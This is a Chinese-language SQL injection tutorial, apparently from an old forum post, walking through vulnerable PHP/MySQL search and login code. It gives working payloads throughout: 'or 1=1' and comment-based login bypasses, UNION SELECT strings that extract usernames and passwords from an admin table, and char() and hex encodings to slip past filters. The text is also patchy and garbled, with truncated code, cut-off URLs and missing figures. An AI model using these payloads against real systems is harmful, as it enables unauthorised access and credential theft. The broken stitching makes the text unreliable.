mysql> select 'a';
+---+
| a |
+---+
| a |
+---+
1 row in set (0.00 sec)
具体内容请看mysql中文手册7.12节
下面说一些利用啦
看代码先
这段代码是用来搜索的哦
.........
SELECT * FROM users WHERE username LIKE
‘%$search%' ORDER BY username
.......
?>
我们如何注入哩？
哈哈，和asp里很相似
在表单里提交
Aabb%' or 1=1 order by id#
注：#在mysql中表示注释的意思，即让后面的sql语句不执行，后面将讲到。
或许有人会问为什么要用or 1＝1呢，看下面，
把提交的内容带入到sql语句中成为
SELECT * FROM users WHERE username LIKE ‘%aabb%' or 1=1
order by id# ORDER BY username
假如没有含有aabb的用户名，那么or 1＝1使返回值仍为真，使能返回所有值
我们还可以这样
在表单里提交
%' order by id#
或者
' order by id#
带入sql语句中成了
SELECT * FROM users WHERE username LIKE ‘% %'
order by id# ORDER BY username
和
SELECT * FROM users WHERE username LIKE ‘%%'
order by id# ORDER BY username
当然了，内容全部返回。
列出所有用户了哟，没准连密码都出来哩。
这里就举个例子先，下面会有更精妙的select语句出现，
select实际上几乎是无处不在的哦！
2)下面看update咯
Mysql中文手册里这么解释的：
UPDATE [LOW_PRIORITY] tbl_name SET col_name1=expr1,col_name2=expr2,...
[WHERE where_definition]
UPDATE用新值更新现存表中行的列，SET子句指出哪个列要修改和他们应该被给定的值
，WHERE子句，如果给出，指定哪个行应该被更新，否则所有行被更新。
详细内容去看mysql中文手册7.17节啦，在这里详细介绍的话会很罗嗦的哦。
由上可知update主要用于数据的更新，例如文章的修改，用户资料的修改，
我们似乎更关心后者，因为......
看代码先哦
我们先给出表的结构，这样大家看的明白
CREATE TABLE users (
id int(10) NOT NULL auto
我们构建注入语句吧
在输入框输入
a% and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from
alphaauthor#放到sql语句中成了
select * from alphadb where title like %a% and 1=2 union select
1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# %
结果如图17哦
怎么样，出来了吧，哈哈，一切尽在掌握之中。
C：下面我们从注入地点上在来看一下各种注入攻击方式
1) 首先来看看后台登陆哦
代码先
//login.php
.......
$query="select * from alphaauthor where UserName= "
.$HTTP_POST_VARS["UserName"]." and
Password= ". $HTTP_POST_VARS["Password"]." ";
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
{
echo "后台登陆成功";
}
esle
{
echo "重新登陆"；
exit；
｝
.........
?>
Username和password没有经过任何处理直接放到sql中执行了。
看看我们怎么绕过呢？
最经典的还是那个：
在用户名和密码框里都输入
‘or =
带入sql语句中成了
select * from alphaauthor where UserName= or = and Password= or =
这样带入得到的$data肯定为真，也就是我们成功登陆了。
还有其他的绕过方法，原理是一样的，就是想办法让$data返回是真就可以了。
我们可以用下面的这些中方法哦
1.
用户名和密码都输入 or a = a
Sql成了
select * from alphaauthor where UserName= or a = a and Password=
or a = a
2.
用户名和密码都输入 or 1=1 and ‘ =
Sql成了
select * from alphaauthor where UserName= or 1=1 and ‘ =
and Password= or 1=1 and ‘ =
用户名和密码都输入 or 2>1 and ‘ =
Sql成了
select * from alphaauthor where UserName= or 2>1 and ‘ =
and Password= or 2>1 and ‘ =
3.
用户名输入 or 1=1 # 密码随便输入
Sql成了
select * from alphaauthor where UserName= or 1＝1 # and
Password= anything
后面部分被注释掉了，当然返回还是真哦。
4.
假设admin的id＝1的话你也可以
用户名输入 or id＝1 # 密码随便输入
Sql成了
select * from alphaauthor where UserName= or
id＝1 # and Password= anything
如图18
hor where UserName=char(97,108,112,104,97)# and Password=
如图21
正如我们期望的那样，他顺利执行了，我们得到我们想要的。
当然咯，我们也可以这样构造
http://localhost/site/admi...
sql语句变成：
select * from alphaAuthor where UserName
=0x616C706861%23# and Password=
我们再一次是成功者了。很有成就感吧，
我们构建
http://localhost/display.p...,105,
97,111,104,117,97)
and 1=2 union select 1,2,username,
4,password,6,7,8,9,10,11 from alphaauthor
带入sql语句中为：
select * from ".$art_system_db_table[ article ]."
where type=char(120,105,97,111,104,117,97) and 1=2
union select 1,2,username,4,password,6,7,8,9,10,
11 from alphaauthor
看看，我们的用户名和密码照样出来了哦！没有截图，想像一下咯：P
